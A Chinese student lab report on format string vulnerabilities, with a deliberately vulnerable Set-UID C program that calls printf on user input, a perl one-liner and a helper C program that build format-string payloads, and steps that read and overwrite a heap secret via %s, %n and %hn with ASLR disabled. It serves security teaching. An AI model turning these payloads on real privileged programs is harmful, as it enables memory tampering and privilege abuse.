软件安全实验——lab3(格式化字符串printf)

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了软件安全实验——lab3(格式化字符串printf)相关的知识,希望对你有一定的参考价值。

1实验室概况

  本实验室的学习目标是让学生将课堂上对格式化-字符串漏洞的了解转化为操作,从而获得关于格式化-字符串漏洞的第一手经验。格式字符串漏洞是由printf(user_input)等代码引起的,用户输入变量的内容是由用户提供的。当这个程序以特权运行(例如,Set-UID程序)时,这个printf语句变得危险,因为它可能导致以下后果之一:(1)程序崩溃,(2)从任意内存位置读取,(3)修改任意内存位置的值。最后一个结果是非常危险的,因为它允许用户修改特权程序的内部变量,从而改变程序的行为。
  在这个实验中,学生将得到一个带有格式字符串漏润的程序;他们的任务是开发一个方案来利用漏洞。除了攻击,学生将被指导通过一个保护方案,可以用来击败这类攻击,学生需要评估计划是否可行,并解释原因。
  应该注意的是,这个实验室的结果取决于操作系统。我们的描述和讨论是基于Uubuntu Linux的。它应该也可以在最新版本的Ubuntu中工作。但是,如果使用不同的操作系统,可能会出现不同的问题。

格式化字符串漏洞是由于C语言中的printf相关的函数导致的。对于

printf("%d%d%d", a, b, c);

  系统会将"%d%d%d"和后面的a, b, c三个int变量一起压入栈中。在执行时,系统会扫描第一个字符串,统计其一共有多少个格式化字符串,然后向高地址依次读取,最后按照第一个字符串的格式输出后面对应的变量。在实践中,有时候会有人写出这样的代码:
s = gets();
printf(s);
这时,一旦我们输入格式字符串,系统便会将字符串s之上的栈中的内容打印出来。此外,printf中还定义了一个不常用的%n,可以对一个特定地址实现写入目前输出的字符数目的操作。这样便造成了严重的格式化字符串漏洞。
1.转换说明符

格式意义
%a(%A)浮点数、十六进制数字和p-(P-)记数法(C99)
%c字符
%d有符号十进制整数
%f浮点数(包括float和double)
%e(%E)浮点数指数输出[e-(E-)记数法]
%g(%G)浮点数不显无意义的零"0"
%i有符号十进制整数(与%d相同)
%u无符号十进制整数
%o八进制整数
%x(%X)十六进制整数
%p指针
%s字符串
%n不打印任何内容,并将到目前为止已打印的字符数写入int变量,该参数必须是一个指向带符号的int的指针,printf(“hello%n”, &test);test变量被赋值为5

2.长度:为h短整形量,l为长整形量
一个h表示short,即short int,%hx用于输出short int.
两个h表示short short,即 char。%hhx用于输出char

2实验室任务

2.1任务1:利用漏润

  在下面的程序中,您将被要求提供一个输入,该输入将保存在一个名为用户输入的缓冲区中。程序然后使用 printf打印出缓冲区。该程序是一个 Set-UID程序(所有者是root),即。,它以根权限运行。不幸的是,在对用户输入调用printf的方式上存在格式字符串漏润。我们想利用这个漏润,看看我们能造成多大的破坏。
  程序的内存中存储着两个秘密值,您对这些秘密值感兴趣。但是,您不知道这些秘密值,也不能从二进制代码中找到它们(为了简单起见,我们使用常量0x44和Ox55硬编码这些秘密值)。尽管您不知道这些秘密值,但在实践中,查找它们的内存地址(它们在连续的地址中)并不困难,因为对于许多操作系统,无论何时运行程序,这些地址都是完全相同的。在这个实验室里,我们只是假设你已经知道了确切的地址。为了实现这一点,程序“有意地”为您打印出地址。有了这些知识,你的目标就是实现以下目标(不一定同时实现):
·让程序崩渍。
·打印出secret[1]值。修改secret[1]的值。
·将secret[1]的值修改为预先确定的值。
  注意,程序的二进制代码(Set-UID)只有您可读/可执行,您无法修改代码。也就是说,您需要在不修改易受攻击代码的情况下实现上述目标。但是,您确实拥有源代码的副本,这可以帮助您设计攻击。

/* vul_prog.c */

#include<stdio.h>
#include<stdlib.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
    char user_input[100];
    int *secret;
    int int_input;
    int a, b, c, d; /* other variables, not used here.*/
    
    /* The secret value is stored on the heap */
    secret = (int *) malloc(2*sizeof(int));
    
    /* getting the secret */
    secret[0] = SECRET1; secret[1] = SECRET2;
    
    printf("The variable secret's address is 0x%8x (on stack)\\n", (unsigned int)&secret);
    printf("The variable secret's value is 0x%8x (on heap)\\n", (unsigned int)secret);
    printf("secret[0]'s address is 0x%8x (on heap)\\n", (unsigned int)&secret[0]);
    printf("secret[1]'s address is 0x%8x (on heap)\\n", (unsigned int)&secret[1]);
    
    printf("Please enter a decimal integer\\n");
    scanf("%d", &int_input);  /* getting an input from user */
    printf("Please enter a string\\n");
    scanf("%s", user_input); /* getting a string from user */
    
    /* Vulnerable place */
    printf(user_input);
    printf("\\n");
    
    /* Verify whether your attack is successful */
    printf("The original secrets: 0x%x -- 0x%x\\n", SECRET1, SECRET2);
    printf("The new secrets:      0x%x -- 0x%x\\n", secret[0], secret[1]);
    return 0;
}

提示:从打印输出中,你会发现secret[0]和secret[1]位于堆上,即实际的秘密存储在堆上。我们还知道第一个秘密的地址(即变量secret的值)可以在堆栈上找到,因为变量secret是在堆栈上分配的。换句话说,如果你想覆盖secret[0],它的地址已经在堆栈上了;格式字符串可以利用这些信息。然而,虽然secret[1]正好在secret[0]之后,但它的地址在堆栈上是不可用的。这对格式字符串攻击提出了一个主要挑战,它需要在堆栈上有准确的地址,以便读写该地址。

栈中变量的大致存储:
在这里插入图片描述

该程序的格式化字符串漏洞就存在于printf(user_input);这一行,它没有指定输出格式,我们就可以在前一行scanf("%s", user_input);输入想要的输出格式参数,程序在执行printf(user_input);的时候就会按照我们想要格式输出user_input[]的内容。

1. Crash the progran

答:要想让程序崩溃,只需要在第二个输入中给足够长的字符串使缓冲区溢出覆盖返回地址,破坏堆栈的平衡即可,如图所示:
在这里插入图片描述

2. Print out the secret[1] value.

  答:要想打印出sccre[1]的值, 而sccre[1]位于堆中,我们只能访问栈中的数据。所以可以用堆栈中的地址,配合格式化字符中的%s参数得到其值的ascll表示,然后再通过计算得到其值。
  首先我们要找到int_input在堆栈中的位置,可以通过先给int_input赋一个比较特殊的值,然后通过格式化字符串的%d来遍历堆栈搜索,如图所示
在这里插入图片描述
(在第九个位置)
找到正确的位置后。重新运行程序,把int_input设置为secret[1]的地址。把int_inpur位置处对应的%d换为%s.即可把读地址处的值作为一个字符串读出,如国所示。
(将地址941700c转换成十进制155283468)
在这里插入图片描述

堆栈中并没有 sccrot[1]的地址,所以先要根据程序的输出将secret[1]的地址放到堆栈中,可以通过变量int_ input来存储这个地址(要通过将地址转化为10进制输入155283468),之后把int_ input的值155283468以字符串的格式(%s)输出就是‘U’。
在这里插入图片描述

转换‘U’的ASCII码值,得到secret[1]的值就是0x55。

3.Modify the secret[1] value

 答:要修改secret[1],可以把格式化字符串中对应的%s改为%n,这样就可以把当前己经输出的字节数写入到相应的地址,如图所示。

(将地址88C 200C转换成十进制143400972)
在这里插入图片描述

%n前面一共输出了138个字符,所以%n就把secret[1]的值修改为138,0x8a是138的16进制输出。

4. Modify the secret[1] valne to a pre-determined value.

  答:要修改secret[1]为一个预定的值, 可以通过修改%Nx中的城宽度控制数字N来实现,当然为了修改一个预定的值,需要经过一定的计算,通过如图所示的计算字符数,

0xab=171,56为7个%08x,8为8个点
在这里插入图片描述

把srcret[1]修改为了0xab
(将地址84E 700C转换成十进制139358220)
在这里插入图片描述

更加复杂的预定值可能需要逐字节分2次写入,使用%hn一次修改,如图8把secret[1]一次最终修改为0x1234。
在这里插入图片描述
在这里插入图片描述

2.2任务2:内存随机化

  如果第一个scanf 语句(scanf("%d", int input))不存在,即Task 1中的攻击对于那些已经实现了地址随机化的操作系统来说变符更加困难。注意 secret[0](或 secre[1])的地址。当你再次运行这个程序时,你会得到相向的地址吗?
  地址随机化的引入使许多攻击变得困难,如缓冲区溢出,格式字符串等。为了理解地址随机化的思想,我们将在这个任务中关闭地址随机化,看看对前一个脆弱程序的格式字符串攻击(没有第一个scanf 语句)是否仍然困难。你可以使用以下命令来关闭地址随机化(注意你需要以root身份运行它):
        sysctl -w kernel.randomize_va_space=0
  在关闭地址随机化之后,您的任务是重复task_1中描述的相同任务,但是您必须从脆弱的程序中删除第一个scanf 语句((scanf("%d", int input))。
  如何让sanf 接受任意数字?通常,scanf会暂停让你输入。有时,您希望程序取一个数字Ox05(而不是字符5)。不幸的是,当您在输入处键入’5‘时,scanf 实际上接受ASCIl值* 5 ',即Ox35,而不是0x05。向题在于,在ASCll中,Ox05不是一个可输入的字符,因此我们无法输入这个值。解决这个问题的一种方法是便用文件。我们可以很容易地编写一个℃程序,将Ox05(同样,不是’5 )存储到一个文件中(让我们称它为mystring),然后我们可以运行脆弱的程序(让我们称它为a.out),其输入被重定向到mystring:也就是说,我们运行 a.out < mystring”。这样,scanf将从文件 mystring 获取输入,而不是从键盘。
  您需要注意一些特殊的数字,例如0x0A(换行)、0x0C(换行)、Qx0D(返回)和0x20(空格)。Scanf将它们视为分隔符,如果Scanf中只有一个""%sS",则会停止读取这些特殊字符之后的任何内容。如果这些特殊数字中的一个在地址中,您必须找到方法来解决这个问题。为了简化你的任务,如果你不走运,秘密的地址碰巧有这些特殊的数字,我们允许你添加另一个malloc 语句之前,你分配内存的secret[2]。这个额外的 malloc会导致秘密值的地址发生变化。如果您给 malloc一个适当的值,您就可以创建一个“幸运”的情况,其中secret的地址不包含那些特殊的数字。
  下面的程序将一个格式字符串写入名为mystring的文件中。前四个字节由您想要放入此格式字符串的任意数字组成,然后是您从键盘输入的格式字符串的其余部分。

/* write_string.c */

#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
    char buf[1000];
    int fp, size;
    unsigned int *address;
    
    /* Putting any number you like at the beginning of the format string */
    address = (unsigned int *) buf;
    *address = 0x804b01c;
    
    /* Getting the rest of the format string */
    scanf("%s", buf+4);
    size = strlen(buf+4) + 4;
    printf("The string length is %d\\n", size);
    
    /* Writing buf to "mystring" */
    fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
    if (fp != -1) {
        write(fp, buf, size);
        close(fp);
    } else {
        printf("Open failed!\\n");
    }
}

方法1、使用perl脚本运行程序

将系统的地址随机化机制取消,去掉scanf语句,下图可以看出,secret[1]的地址不再变化。
在这里插入图片描述

1.Print out the secret[1] value.

这样我们就可以把地址“硬编码”到缓冲区中,而不必再放入int_input中,下图显示了我们寻找到了缓冲区在堆栈中的位置,
(输入AAAA,并寻找对应的ASCII码41414141)
在这里插入图片描述

AAAA对应的ASCII码41414141在第10个%x的位置,之后我们尝试打印secret[1]的值,
第一次的情形,没有出现正确的读出secret[1]的值
在这里插入图片描述

因为在Task 2中,我们注释了scanf语句,并且由于关闭地址随机化后,遇到了我们在前面说过0x0c的情况。0x0c在作为%s字符串格式输出时会被视为空格隔断,所以我按照实验指导书正确提示,在malloc的前面又添加了malloc语句,更改了它分配的堆地址。
perl -e ‘print “\\x1c\\xb0\\x04\\x08” . "%x."x9 . “%s”’ | ./vulp
之后解决了问题,正确的读出secret[1]的值
在这里插入图片描述

2.Modify the secret[1] value

之后我们修改将secret[1]的值为预定值0xab:
在这里插入图片描述

方法2、使用write_string.c生成mystring文件运行程序

上面的perl -e ‘print “\\x1c\\xb0\\x04\\x08” . "%x."x9 . “%s”’ | ./vulp是perl脚本,可以将字符串组合作为输入传给vulp程序。

1.Print out the secret[1] value.

我们也可以按照指导书上的先用输入写到mystring文件,再把mystring文件作为输入传给vulp程序。
先找到输入的字符串在数组中的位置:AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,
在这里插入图片描述

在第10个,secret[1]的地址中带有0c,我们照样按照之前的办法添加一个malloc 语句:
在这里插入图片描述
得到新的secret[1]的地址为0x804b01c,作为write_string.c中的address的值,编译之后运行:
输入%x,%x,%x,%x,%x,%x,%x,%x,%x,%s
在这里插入图片描述
在这里插入图片描述

之后将得到的mystring文件作为输入运行task2程序:
在这里插入图片描述

也可以得到secret[1]的值。

2.Modify the secret[1] value

先生成修改secret[1]的值的mystring文件,假设要把secret[1]的值修改为0xab,则对应的格式为:
%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%94x,%n
在这里插入图片描述

再将得到的mystring文件作为输入运行task2程序:
在这里插入图片描述

成功将secret[1]的值修改为0xab。

以上是关于软件安全实验——lab3(格式化字符串printf)的主要内容,如果未能解决你的问题,请参考以下文章

软件构造Lab3基本流程指导及重难点分析

软件安全实验——pre4(格式化字符串提权预习)

软件安全实验——lab4(格式化字符串,修改内存地址运行shellcode获取root权限)

软件安全实验——pre3

MIT-6.828 Lab3实验报

格式化字符串溢出实验